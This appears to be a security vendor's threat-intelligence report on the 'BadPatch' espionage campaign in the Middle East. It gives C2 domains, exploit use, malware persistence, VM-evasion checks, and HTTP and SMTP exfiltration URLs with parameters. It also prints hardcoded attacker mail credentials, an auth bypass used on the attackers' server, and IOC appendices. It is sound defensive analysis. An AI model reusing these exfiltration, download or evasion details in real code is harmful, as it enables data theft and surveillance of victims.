BadPatch

Introduction

In April 2017, in collaboration with Clearsky, Palo Alto Networks Unit 42 published an article about our research into targeted attacks in the Middle East. In that research we discussed two new malware families we named KASPERAGENT and MICROPSIA.

Since then, we have continued our research into the Command and Control (C2) infrastructure associated with KASPERAGENT and MICROPSIA. This ongoing research lead us to a new Middle Eastern campaign. Our findings from this new campaign include C2 infrastructure, new attack methods, four types of malware (including Android malware), a system for management of stolen victim data and some detail of the actors.

It is notable that our research has shown that this newly-identified attack campaign dates back to at least June 2012, over five years ago.

In this blog, we outline the results of our research into this new campaign so far.

 

Finding the New Campaign

Our discovery of this new campaign begins where our previous KASPERAGENT and MICROPSIA research left off.

Pivoting from Previous KASPERAGENT and MICROPSIA Research
One of the C2 servers we observed in our earlier KASPERAGENT and MICROPSIA research was mailsinfo[.]com. The first IP address that this domain resolved to from about mid-May 2015 through October-November 2015 was 148.251.135[.]117.

We used passive DNS (pDNS) and found the server mail.pal4u[.]net on 148.251.135[.]117 starting mid-May 2015. We also found other servers on this IP address. We do not believe this necessarily gives a link between campaigns found on this IP address as it appears to be shared by multiple unrelated third parties. However, the nature of activity and some malware artifacts on this IP address does suggest a possible link to the Gaza Hackers group.

 

C2 Infrastructure

As we followed our leads from the previous KASPERAGENT and MICROPSIA research and dug into the server mail.pal4u[.]net on 148.251.135[.]117 that research led us to find the C2 infrastructure of this new campaign.

Digging into Pal4u
The WHOIS for pal4u[.]net appears to be a Palestinian hosting company. The DNS records for pal4u[.]net gives us, in addition to the “WWW” hostname, the Name Servers (NS) “NS1” and “NS2” and additional IP address 195.154.216[.]74.

We found six additional domains that used palu4u[.]net as NS, and which all shared the same historic IP address 195.154.216[.]74 (Figure 2). From the seven total domains, we observed six as malware Command & Control (C2), exfiltration, malware download servers, and/or in associated malware code:

Pal4u[.]net

Pal2me[.]net

Pay2earn[.]net

Shop8d[.]net

Ts4shope[.]net

pal4news[.]net

We only found one of the seven domains associated with this IP, ads4market[.]net, not associated with malware activity. We did not find any legitimate activity or content associated with these six domains during the period of associated registration.

Figure 1- C2 domain links

While there is historic WHOIS for pal2me[.]net and shop8d[.]net, research into the registrant information suggests this is related to the ISP rather than the actors using the site for C2.

We also found the DNS RNAME “a.faris.live[.]com” was used, but this also seems to be related to the host ISP rather than the site owner.

Understanding that we were looking at a collection of linked malware C2 servers, we started to look into the attacks methods and malware that used this infrastructure.

 

Attack Methods

We observed initial attacks using this infrastructure were against victims via spear phishing. However, for the first time in any known Gaza Hackers-linked campaign, we also found a limited use of vulnerability exploits – RTF exploit CVE-2012-0158 documented by Citizenlab (Part 3 – “The Curious Case of the Shared Exploit”). The attackers used the RTF exploit to download their “BadPatch” Windows malware from hacked WordPress site wp.piedslibres[.]com/wp/wp-includes/js/Next.scr.

SHA256	d759dcbebee18a65fda434ba1da5d348c16d9d3775fe1652a1dacf983ffc93b8
First seen	2015-05-13
Filename	لمستجدات.doc , (Developments.doc)

 

We found a second attack sample that used the same exploit, that also downloaded the same malware from the compromised server.

Filename	6660491190525a7413b683b91a6c8b0082aa71e6dd6291d11ec26e1e3cf55a57
First seen	2015-06-15
Filename	تسنيم.doc (Tasneem.doc – the military organization of Fatah (political Palestinian movement))

 

In most of the attacks we observed the malware will display a blank Microsoft Word decoy file, or a Microsoft Word file with error message:

"An error occurred, please try your request again later".

We did observe some variations in this attack. The first malware sample that we identified (compiled on 12 June 2012) dropped an Adobe Flash decoy file (Figure 2):

SHA256

92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812

Figure 2- Adobe Flash decoy

Samples typically employ decoy filenames tailored to the spear-phished target:

SHA256	30282a807c2ee27b0d1dda310e41487f5018bc5fc5df8af6c13d08df34f2b6df
Filename	عاجل جدا وسري جدا.gz (Very urgent and very confidential. Gz)

 

SHA256	cc8020c36156c7e5c8cfbbb32bc8d7f03536510f4e3b38b22e0abdb9ad90c90e
Filename	,اسماء المستحقين للمالية.scr (The names of the beneficiaries of Finance. scr)

 

SHA256	1a65e43afaaff90b4124cbef21fadc319f10fba4843d09837219400b0dbcc285
Filename	الهباش يتحدى حماس الاعتراف.scr (Habash defies Hamas recognition.scr)

 

SHA256	2c64a3d6b896ee1b58b9cf55531b7256de45025d60b1f4be764b385de087b52f
Filename	Statement of Account-ARABBANK.exe

 

Malware Analysis

We collected 148 malware samples in this campaign, using the C2 servers that we identified, and grouped them into four categories:

1. Microsoft Visual Basic Malware – exfiltrates data via SMTP (port 26), and HTTP.
2. Autoit malware – early versions also used SMTP for exfiltration, but mainly HTTP.
3. Autoit downloader & dropper (downloads and executes the Autoit malware)
4. Android malware – exfiltration via HTTP (first seen December 2015)

Microsoft Visual Basic malware

Upon infection the malware copies itself to %appdata%\microsoft\microsoft [0-9]{9-15}\dwm.exe (9-15 digits in directory name “Microsoft”), and adds a link to the malware executable in the startup folder for persistence.

These variants include system information collection (operating system, computer name), keylogger output, and browser password collection from Internet Explorer, Chrome and Firefox.

Keylogger and system info exfiltration is done via HTTP Post:

lms/getdata.php?myAction=add_line&macName=…$&computer_id=App.EXEName&mac_address=…&dns_domain=nnn&domain=bbb&content2=$FRESH:%20%20ESC%20pango2012ENTR&ver=3&mac_time=tt&patch_user_id=mgh2&patch_group_id=Label1(2).Caption

File exfiltration is done via SMTP port 26, with the SMTP credentials hardcoded encrypted in the malware code. Some mailbox examples:

user: sender_b@pal4u[.]net
password: sender@123

ubuntu_net@pal4u[.]net

ubuntu_send@pal4u[.]net

Figure 3- SMTP encryption settings

The list of files for exfiltration are written to the malware folder as “sysfiles.txt”. A file “1.done” is generated with content "done" after successful exfiltration. The file “mac.txt” contains the computer MAC address. Some versions exfiltrate recent files, others collect and exfiltrate files matching a hardcoded extension list:

*.xls;*.xlsx;*.pdf;*.mdb;*.rar;*.zip*.doc;*.docx

AutoIt Malware
We observed a shift from Visual Basic to  AutoIt malware in this campaign around March 2016. AutoIt is a freeware BASIC-like scripting language designed for automating the Windows GUI and general-purpose scripting.

This malware achieves persistence by writing to “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.lnk" using the WScript object.

It attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard:

1. Checks for processes “VBoxService.exe", "VBoxTray.exe", "VMwareTray.exe"
2. WMI query on Win32_DiskDrive, looking for "VBOX HARDDISK","QEMU HARDDISK","VMWARE VIRTUAL IDE HARD DRIVE", "VMware Virtual S SCSI Disk Device"
3. WMI query on Win32_BIOS "Found Vbox BIOS version"
4. WMI query on Win32_Baseboard “Found VMware-style motherboard”, "440BX Desktop Reference Platform". Name="Base Board"

The malware deletes Chrome and Firefox cached password files, requiring the user to re-enter site passwords, affording the keylogger the opportunity to capture them.

The malware can be instructed to kill the malware process by Process ID, or by hardcoded name.

It can update itself by downloading and executing a newer version:

h__p://m103.pay2earn[.]net/public/versions/["svchost" & $i & ".zip] (where i=1 to 7).

The new version is saved at %appdata%\Microsoft\updte\svchost.scr.

Environment data exfiltration via POST
It will perform a WMI query to enumerate installed security products.

It stores data in log files:

Specific attacker username stored at %appdata%\Microsoft\updte\usu.log

MAC address %appdata%\Microsoft\updte\mac.log

Errors are logged at  %appdata%\Microsoft\updte\log.log

This data is exfiltrated along with Operating System version and architecture using HTTP POST:

h__p://m103.pay2earn[.]net/devices/settings

/devices/settings?mac_address=<macAddress>&content=%20Start%20Downloader%20majdTest%201/2017Anti%20Type:%20%20%20OS%20Version%20=%20WIN_7%20|%20X64

h__p://m103.pay2earn[.]net/logs/new

/logs/new?name=<computerName>$&computer_id=App.EXEName&mac_address=<macAddress>&content=$%20Start%20Downloader%20%20majdTest%201/2017&patch_username=majd

Screenshots via SMTP

The malware takes screenshots on the victim computer, exfiltrating them using SMTP (port 26) as “GDIPlus_Image1.jpg” and “GDIPlus_Image2.jpg”.

The SMTP configuration is saved as encrypted RC4 strings, decrypted with password !@#$%^&*()

 

Figure 4- SMTP RC4 encrypted strings init

Mail is sent, in this example, using the string "Start Downloader majdTest 1/2017".

 

Figure 5- SMTP mail sending function

The emails are sent from an email address at the C2 server, to a recipient address on the same server. Decrypted example:

smtpserver:  m103.pay2earn[.]net

fromname:    sn@m103.pay2earn[.]net

fromaddress: sn@m103.pay2earn[.]net

toaddress:   asf@m103.pay2earn[.]net

username:    sn@m103.pay2earn[.]net

password:    sn_$_2016

We observed a single variant using an obfuscated AutoIt script (5c6e531738c1380ec09c1ec0f1438cee5077e6cbade8af87710b8be2f0aaaac7). Another outlier variant was keylogger-only, supporting intercepting only Arabic and English characters (42adec426addf3fd0c6aff406b46fa82d901f5a9bed7758a243458961349a362).

Autoit downloader / dropper
This simple component downloads and executes malware from the C2 server (e.g. pal4u[.]net or m103.pay2earn[.]net).

SHA256: 2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02

This downloader example also displays a decoy file (bbb.docx):

SHA256: 2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02

Android Malware
The actors do not miss the opportunity to also collect data from the Android devices of their targets.

As well as the typical ability to update the malware, this Android malware collects and exfiltrates device files, SMS messages, voice calls, and can also be used to remotely record sound or video using the device. A follow-up blog will examine this malware in detail.

 

Records Management System and Victims

The threat actors have developed their own, custom system to manage the data exfiltrated by their victims, "نظام إدارة السجلات" (“Records Management System”). Server logon requires 2-Factor authentication (2FA).

Figure 7- RMS SMS 2FA

Figure 6- RMS Logon Screen

During the course of our research, we observed a newly introduced bug in their authentication. Navigating directly to the page “sms.php” bypassed the initial password entry requirement, taking us directly to the SMS verification page (Figure 6).

Further, we discovered that navigating directly to “/lms/index.php” no longer redirects the user to login.php, but instead granted authenticated access to the system.

 

Figure 8- Records Management System

This allowed us to enumerate the victims contacting the exfiltration server (Figure 9,) through March 2016.

 

Figure 9- Victims by country

As reflects the nature of campaign, we notice a small overall number of victims. That the majority of victims appear domestic is also not unusual in such campaigns, although we also noted the actor infecting their own test machines in some cases (Figure 10).

Figure 10- Testing Logs

 

The Adversary

We find some hints in sample filenames, Microsoft Visual Project directory names, and HTTP POST parameters, suggesting the names of some of the actors involved in this campaign, and a possible link to an official Gaza Bureau.

S:\sh\work files from shaaban\4shopfiles tajas\shop8d\Project1.vbp

C:\Documents and Settings\HADJYOUB.HADJ-1065B94515\Bureau\cm\Project1.vbp

Possible nickname strings that we observed include:

Shaaban, Hadjyoub, OMR, mgh2, rashed, Shady, majd , f2b, jno, ajr , hmg, vip, 2ta, asf, h2m, mag

Naming

The actors appear to name this malware “Patch”:

"\2014-03-17\exe\gaza\Project1.vbp"
V:\Batch Versions\

In Arabic, “P” and “B” are phonetically similar, leading to common B/P misspellings.

Embedded strings:

"Old - update patch and check anti-virus.. "
"PatchNotExit-- Check Version"
"PatchNotExit-- download now"
"PatchNotExit-- Version Patch"

Server communication parameters:

lms/getdata.php?myAction=add_line&macName=…$&computer_id=App.EXEName&mac_address=…&dns_domain=nnn&domain=bbb&content2=$FRESH:%20%20ESC%20pango2012ENTR&ver=3&mac_time=tt&patch_user_id=mgh2&patch_group_id=Label1(2).Caption

The “patch_user_id” parameter appears to refer to the individual actor managing this victim.

 

Age of Campaign

The oldest sample we observed has a compile date of 12 June 2012. The C2 server linked to that sample, pal2me[.]net, was also first registered on the same date. This campaign has been running for at least more than five years, and continues to this date.

 

Development Over Time

The oldest sample we observed (above) supported exfiltration of victim data using email (technique is detailed in the malware analysis section):

92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812
C:\Users\Shady\Desktop\only email with slide show\Project1.vbp

Keylogger functionality is introduced:

106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea
E:\work here\ready kl send recent files\Project1.vbp

New keylogger version:

17a4126fb1fb19885d78c82271464d82af8618b7d1b7d8901666c1121ddb2ba1
D:\000 work\21.3 GB\newSpoofKL\Project1.vbp

New file exfiltration test version (details are in the malware analysis section):

9a8acd988089e7f9dd04f971374f766db519e854d42e8052b0d98b4c9c6b67e4
Y:\My Work\VB 6\Get Files\GFiles 14-09-2015 - Working tst only\Project1.vbp

Visual Basic versions, new downloader:

224b5af4ca4de234f03408487f075f0d638826cb6f65944a3e8dcbaac4372e79
Q:\newPatch\downloader\exe site\shop\Project1.vbp

Downloader version 2.8:

d906118fb36a0cc4e83121d4d606ad685645252e8e0791f793057499d8751bf0
J:\dowloader 2 8\downloader\site\Project1.vbp

Version M103, pointing at the currently-live C2 server m103.pay2earn[.]net. Current server registration dates to 8 February 2016, the compile date of this malware was 31 March 2016.

Sha256 - d9253c808d83ace06f885479e0807246a29cb9967ea0d0855f5a3802825b13db
W:\newPatch\exe vb m103 30 3 2016\Project1.vbp

Conclusion

Diligence in investigating infrastructure associated with a previously documented campaign, led us to another possibly unrelated campaign, crossing paths in hosting.

This allowed us to uncover a previously unknown C2 and exfiltration infrastructure, associated malware, and the first time that we’ve observed this group using exploits.

The simplicity of the malware and relative unsophistication of C2, exfiltration and stolen data management belies the demonstrated fact that this very targeted, low-volume campaign has been working fine for these actors for five years, and continues today.

 

Coverage

Palo Alto Networks customers are protected from this threat in the following ways:

1. WildFire accurately identifies all malware samples related to this operation as malicious.
2. Traps prevents this threat on endpoints, based upon WildFire prevention.
3. Domains used by this operation have been flagged as malicious in Threat Prevention.

AutoFocus users can view malware related to this attack using the “BadPatch” tag.

IOCs can be found in the appendices of this report.

 

Appendix I – Hashes

1a0c0a0c74d085d6e90c5d96517926218fc55cc161f5c1e5dbb897f40d1f5164

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9a4ed995dfd9d468715dfe4906265059aa3bb1e0d6ceb547e84001661a023a9d

f1e616aecf6205daaf6c55898f86092055fe85a3825837c688c2e7545f6efb7e

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5c6e531738c1380ec09c1ec0f1438cee5077e6cbade8af87710b8be2f0aaaac7

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2f9eedcdda4f28ca08ece26a58e859062a6c0b9cf7f319b3eaa8d9f034c76d20

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3c55a81f460804e2e39a1d3dc556fa5a93fe7ce8c139f8b68f1e5ca98f62875c

0a376070679f6a31b2f6aaef23747f930544ab77ad01d30007f6d0ccf2bead60

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92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812

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cd933c6cc8450135deacd61a51e1b425ff7516cac078b92fe1b6f602e4c39e53

025ab87dc729cbf284104a8c9872b63e486ad8af9aef422906743feb0db04224

42adec426addf3fd0c6aff406b46fa82d901f5a9bed7758a243458961349a362

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c4f0ec52ce768f2ba36e4954e2afca3ef7ef46d757070a861cc6609d256a3fe1

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9c6b8eb7c007abc681ceb67da5b1c7533055bb9985236abb46ec6f7e0b14e03e

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30282a807c2ee27b0d1dda310e41487f5018bc5fc5df8af6c13d08df34f2b6df

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050610cfb3d3100841685826273546c829335a5f4e2e4260461b88367ad9502c

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1a65e43afaaff90b4124cbef21fadc319f10fba4843d09837219400b0dbcc285

087941d80baca00501739abf0b8450dce723733ea8866589fa9779481e7a6cfb

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c9c4263ac3287aa48d8cf03fdbb32a179cfd8c08d1c1a39696d8c932603e8df9

bc8b240c89304c12dce75076f9fcc2859f48ec01347f9cc0a4cb9fbcb77ed089

2349d745d84db772d97c599e6150ff4585a69d915deb6d6e6601e412651164f3

2941f75da0574c21e4772f015ef38bb623dd4d0c81c263523d431b0114dd847e

69424f5e0bd974271f367fae04179de4efe233d56ad81840a3c3936eaa244502

a793a401277b307c3b056a725672d81b71492cb564d6db2445a9c30724f61d72

68ba2fa76ef3b3c905f26dae3c75a6b5e165b4246cb4f574c07ad70013b265ae

b2d203b927507176606a6616ba8b8729050ecaff0790a9deb37df32caab7d613

2c64a3d6b896ee1b58b9cf55531b7256de45025d60b1f4be764b385de087b52f

a1a5abab16c9de1c69c4a7e731c0f13c9bb8ce90dab15546807cae039c7f9385

ece76fdf7e33d05a757ef5ed020140d9367c7319022a889923bbfacccb58f4d7

106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea

 

Appendix 2 – IOCs

Pal4u[.]net

Pal2me[.]net

Pay2earn[.]net

Shop8d[.]net

Ts4shope[.]net

pal4news[.]net

ads4market[.]net

wp.piedslibres[.]com (hijacked legitimate site)